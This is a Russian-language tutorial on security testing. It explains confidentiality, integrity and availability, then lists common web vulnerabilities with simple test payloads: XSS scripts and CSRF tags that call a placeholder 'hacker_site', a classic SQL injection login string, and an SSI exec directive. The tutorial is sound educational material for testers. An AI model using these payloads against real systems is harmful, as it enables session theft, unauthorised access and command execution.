Тестирование безопасности

Тестирование безопасности или Security and Access Control Testing

Тестирование безопасности - это стратегия тестирования, используемая для проверки безопасности системы, а также для анализа рисков, связанных с обеспечением целостного подхода к защите приложения, атак хакеров, вирусов, несанкционированного доступа к конфиденциальным данным.

Принципы безопасности программного обеспечения

Общая стратегия безопасности основывается на трех основных принципах:

1. конфиденциальность
2. целостность
3. доступность

Конфиденциальность

Конфиденциальность - это сокрытие определенных ресурсов или информации. Под конфиденциальностью можно понимать ограничение доступа к ресурсу некоторой категории пользователей, или другими словами, при каких условиях пользователь авторизован получить доступ к данному ресурсу.

Целостность

Существует два основных критерия при определении понятия целостности:

1. **Доверие**. Ожидается, что ресурс будет изменен только соответствующим способом определенной группой пользователей.
2. **Повреждение и восстановление**. В случае когда данные повреждаются или неправильно меняются авторизованным или не авторизованным пользователем, вы должны определить на сколько важной является процедура восстановления данных.

Доступность

Доступность представляет собой требования о том, что ресурсы должны быть доступны авторизованному пользователю, внутреннему объекту или устройству. Как правило, чем более критичен ресурс тем выше уровень доступности должен быть.

Виды уязвимостей

В настоящее время наиболее распространенными видами **уязвимости в безопасности программного обеспечения** являются:

- **XSS (Cross-Site Scripting)** - это вид уязвимости программного обеспечения (Web приложений), при которой, на генерированной сервером странице, выполняются вредоносные скрипты, с целью атаки клиента.
- **XSRF / CSRF (Request Forgery)** - это вид уязвимости, позволяющий использовать недостатки HTTP протокола, при этом злоумышленники работают по следующей схеме: ссылка на вредоносный сайт установливается на странице, пользующейся доверием у пользователя, при переходе по вредоносной ссылке выполняется скрипт, сохраняющий личные данные пользователя (пароли, платежные данные и т.д.), либо отправляющий СПАМ сообщения от лица пользователя, либо изменяет доступ к учетной записи пользователя, для получения полного контроля над ней.
- **Code injections (SQL, PHP, ASP и т.д.)** - это вид уязвимости, при котором становится возможно осуществить запуск исполняемого кода с целью получения доступа к системным ресурсам, несанкционированного доступа к данным либо выведения системы из строя.
- **Server-Side Includes (SSI) Injection** - это вид уязвимости, использующий вставку серверных команд в HTML код или запуск их напрямую с сервера.
- **Authorization Bypass** - это вид уязвимости, при котором возможно получить несанкционированный доступ к учетной записи или документам другого пользователя

Как тестировать ПО на безопасность?

Приведем примеры тестирования ПО на предмет уязвимости в системе безопасности. Для этого Вам необходимо проверить Ваше программное обеспечение на наличия известных видов уязвимостей:

XSS (Cross-Site Scripting)

Сами по себе XSS атаки могут быть очень разнообразными. Злоумышленники могут попытаться украсть ваши куки, перенаправить вас на сайт, где произойдет более серьезная атака, загрузить в память какой-либо вредоносный объект и т.д., всего навсего **разместив вредоносный скрипт** у

вас на сайте. Как пример, можно рассмотреть следующий скрипт, выводящий на экран ваши куки:

```
<script>alert(document.cookie);</script>
```

либо скрипт делающий редирект на зараженную страницу:

```
<script>window.parent.location.href='http://hacker_site';</script>
```

либо создающий вредоносный объект с вирусом и т.п.:

```
<object type="text/x-scriptlet" data="http://hacker_site"></object>
```

XSRF / CSRF (Request Forgery)

Наиболее частыми CSRF атаками являются атаки использующие HTML <IMG> тэг или Javascript объект image. Чаще всего атакующий добавляет необходимый код в электронное письмо или выкладывает на веб-сайт, таким образом, что при загрузке страницы осуществляется запрос, выполняющий вредоносный код. Примеры:

IMG SRC

```
<img src="http://hacker_site/?command">
```

SCRIPT SRC

```
<script src="http://hacker_site/?command">
```

Javascript объект Image

```
<script>
        var foo = new Image();
        foo.src = "http://hacker_site/?command";
</script>
```

Code injections (SQL, PHP, ASP и т.д.)

Вставки исполняемого кода рассмотрим на примере кода SQL.

Форма входа в систему имеет 2 поля - имя и пароль. Обработка происходит в базе данных через выполнение SQL запроса:

```
SELECT Username
FROM Users
WHERE Name = 'tester'
AND Password = 'testpass';
```

Вводим корректное имя ’tester’, а в поле пароль вводим строку:

```
testpass' OR '1'='1
```

В итоге, Если поле не имеет соответствующих валидаций или обработчиков данных, может вскрыться уязвимость, позволяющая зайти в защищенную паролем систему, т.к.SQL запрос примет следующий вид:

```
SELECT Username
FROM Users
WHERE Name = 'tester'
AND Password = 'testpass' OR '1'='1';
```

Условие '1'='1' всегда будет истинным и поэтому SQL запрос всегда будет возвращать много значений.

Server-Side Includes (SSI) Injection

В зависимости от типа операционной системы команды могут быть разными, как пример рассмотрим команду, которая выводит на экран список файлов в OS Linux:

```
< !--#exec cmd="ls" -->
```

Authorization Bypass

Пользователь А может получить доступ к документам пользователя Б. Допустим, есть реализация, где при просмотре своего профиля, содержащего конфеденциальную информацию, в URL страницы передается userID, а данном случае есть смысл попробовать подставить вместо своего userID номер другого пользователя. И если вы увидите его данные, значит вы нашли дефект.

Вывод

Примеров уязвимостей и атак существует огромное количество. Даже проведя полный цикл тестирования безопасности, нельзя быть на 100% уверенным, что система по-настоящему обезопасена. Но можно быть уверенным в том, что процент несанкционированных проникновений, краж информации и потерь данных будет в разы меньше, чем у тех кто не проводил тестирования безопасности.